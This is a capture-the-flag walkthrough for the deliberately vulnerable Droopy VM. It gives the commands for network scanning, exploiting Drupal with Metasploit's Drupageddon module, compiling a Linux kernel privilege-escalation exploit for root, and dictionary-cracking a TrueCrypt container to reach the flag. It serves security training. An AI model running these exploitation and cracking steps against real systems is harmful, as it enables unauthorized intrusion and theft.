Hack the Droopy VM (CTF Challenge)

Droopy Walkthrough

In this article we will complete a challenge of Capture the Flag series. This is Walkthrough of Droopy VM which is a vulnerable framework but it is little bit complex too. Download it from –> Here

Walkthrough

Let us start by scanning the network so that we can know the IP of our target. And to scan the network types the following:

netdiscover

So by using the above command we know our target IP is 192.168.1.102. Now that we know our target IP, lets study it more by using nmap :

nmap -p- -A 192.168.1.102

Here,

-p-  à is for port by port search

-A à is for an thorough search

By using nmap we fing that port no. 80 isi the only one that is opened. So therefore, lets fire up the IP in the browser.

By studying the webpage we get to know that the website has been made in drupal CMS. And we all know that there is an very effective exploit for it in Metasploit and to use that type :

use exploit/multi/http/drupal_drupageddon

 once the exploit starts working, it will ask you for rhost which you set by following command and then runt he exploit.

set rhost 192.168.1.102

exploit

As the exploits runs, you will have your meterpreter session. Type sysinfo as the first command to gather information about the target. This way we come to know that the OS used by target is linux with the version of 3.13.0, this version of linux has its own exploit which you can find on www.exploit-db.com. Once you find the exploit there, download it and then type the following command in the terminal of kali :

searchsploit 3.13.0

Go to the /tmp folder by typing cd /tmp and upload the exploit there by typing :

upload /root/Desktop/37292.c

Oncethe exploit is uploaded, got o shell by simply giving shell command. And then type :

python -c ‘import pty;pty.spawn(“/bin/bash”)’

And then type the following command to compile the exploit :

gcc 37292.c -o shell

once the exploit is compiled give the permissions to shell :

chmod 777 shell

and then run the ./shell command for your exploit to work. This is the exploit for privilege escalation so when this exploit runs, you will have your privilege to the VM.

After this check you id by simply typing id.  It shows that you are the root. So lets jump to the folder root by typing cd /root and then type ls to check the file inside the root folder. And here we have one file in the root. Lets copy it to var/www/html so we can open the file in the browser :

cp dave.tc /var/www/html

Now lets open the file in the browser by typing :

192.168.1.102/dave.tc

And then we will go into the /var by typing cd /var and then type ls to view its content. Now lets go into mail by typing cd mail and then ls to view its content. And the type  cat www-data to read whatever’s inside it.

In www-data we find a mail. This mail gives us two hints about the password that we need i.e. we will find our password in the rockyou wordlist and password contain prefix or suffix “academy”. So we will take all the words from rockyou wordlist that has acadaemy in it and make a different wordlist with all the possible passwords. And for this type :

Cat rockyou.txt | grep academy > /root/Desktop/dict.txt

Now from the wordlist, that we just created, we will apply dictionary attack to have our password. And so for this type :

truecrack –truecrypt /root/Downloads/dave.tc -k SHA512 -w /root/Desktop/dict.txt

Now using veracrypt we can decrypt the file.

To decrypt the file enter the password that we just found.

Once it opens you can see all of its content.

Following are the folders you will find in it.

Open its path in the terminal of kali and type ls -la to view the files. Open secret by typing cd .secret and the type ls -la to see its content. And then open .top by typing cd .top and then type ls -la to see all the files in it. There you will find flag.txt, type cat flag.txt to view the flag.

And yippiiee!!! We found our flag. 😊